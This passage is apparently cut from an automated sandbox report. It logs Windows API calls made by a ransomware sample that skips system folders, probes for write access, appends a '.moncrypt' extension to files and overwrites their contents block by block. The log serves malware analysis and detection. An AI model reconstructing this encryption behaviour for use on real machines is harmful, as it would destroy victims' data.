shared\\themes14\\evrgreen\\") returned 0x41 [0051.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.608] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18q")) returned 0xffffffff [0051.608] GetLastError () returned 0x2 [0051.608] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0b0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\삈RP") returned 6 [0051.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.608] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뻜R企@\x18?T\x18y")) returned 0xffffffff [0051.608] GetLastError () returned 0x2 [0051.608] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0b0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0051.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x81")) returned 0xffffffff [0051.609] GetLastError () returned 0x2 [0051.609] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0b0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0051.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18\x88")) returned 0xffffffff [0051.609] GetLastError () returned 0x2 [0051.609] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0b0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0051.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뻜R企@\x18?T\x18\x8f")) returned 0xffffffff [0051.610] GetLastError () returned 0x2 [0051.610] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0b0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0051.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0051.610] GetLastError () returned 0x2 [0051.610] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0b0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0051.610] GlobalLock (hMem=0x440004) returned 0x550170 [0051.610] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.610] GlobalUnlock (hMem=0x440004) returned 0 [0051.610] GlobalLock (hMem=0x440004) returned 0x550170 [0051.610] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.610] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.610] GlobalUnlock (hMem=0x440004) returned 0 [0051.611] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.611] GlobalUnlock (hMem=0x44000c) returned 0 [0051.611] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.611] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0051.611] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.611] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0051.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0051.611] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.611] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.611] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.611] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0051.611] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a1b8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.611] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.611] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.611] GlobalUnlock (hMem=0x44000c) returned 0 [0051.611] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.612] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.612] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.612] GlobalUnlock (hMem=0x44000c) returned 0 [0051.612] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.612] GlobalUnlock (hMem=0x440004) returned 0 [0051.612] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.612] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0b0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.612] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0b0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.612] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0051.612] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0051.613] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0b0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0051.613] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0b0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.613] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.613] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0b0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.613] GlobalLock (hMem=0x440004) returned 0x550170 [0051.613] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.613] GlobalUnlock (hMem=0x440004) returned 0 [0051.613] GlobalLock (hMem=0x440004) returned 0x550170 [0051.613] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.613] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.613] GlobalUnlock (hMem=0x440004) returned 0 [0051.613] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.613] GlobalUnlock (hMem=0x44000c) returned 0 [0051.613] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.613] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.613] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0051.614] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.614] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.614] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.614] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.614] GlobalUnlock (hMem=0x44000c) returned 0 [0051.614] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.614] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.614] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.614] GlobalUnlock (hMem=0x44000c) returned 0 [0051.614] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.614] GlobalUnlock (hMem=0x440004) returned 0 [0051.614] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.615] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0051.616] CloseHandle (hObject=0x18c) returned 1 [0051.616] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\я")) returned 1 [0051.617] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 0x54e240 [0051.617] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.617] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.617] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", dwFileAttributes=0x20) returned 1 [0051.618] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.moncrypt")) returned 1 [0051.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.618] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.618] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x12dee [0051.618] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.618] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.620] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.621] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.621] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.621] GlobalUnlock (hMem=0x44000c) returned 0 [0051.621] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0051.621] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.621] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.621] GlobalUnlock (hMem=0x44000c) returned 0 [0051.621] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.621] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.621] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.621] GlobalUnlock (hMem=0x440004) returned 0 [0051.621] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.621] GlobalUnlock (hMem=0x44000c) returned 0 [0051.622] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.622] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.622] GlobalUnlock (hMem=0x44000c) returned 0 [0051.622] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.622] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.622] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.622] GlobalUnlock (hMem=0x44000c) returned 0 [0051.622] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.622] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.622] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.622] SetFilePointer (in: hFile=0x18c, lDistanceToMove=77294, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x12dee [0051.622] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.622] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, 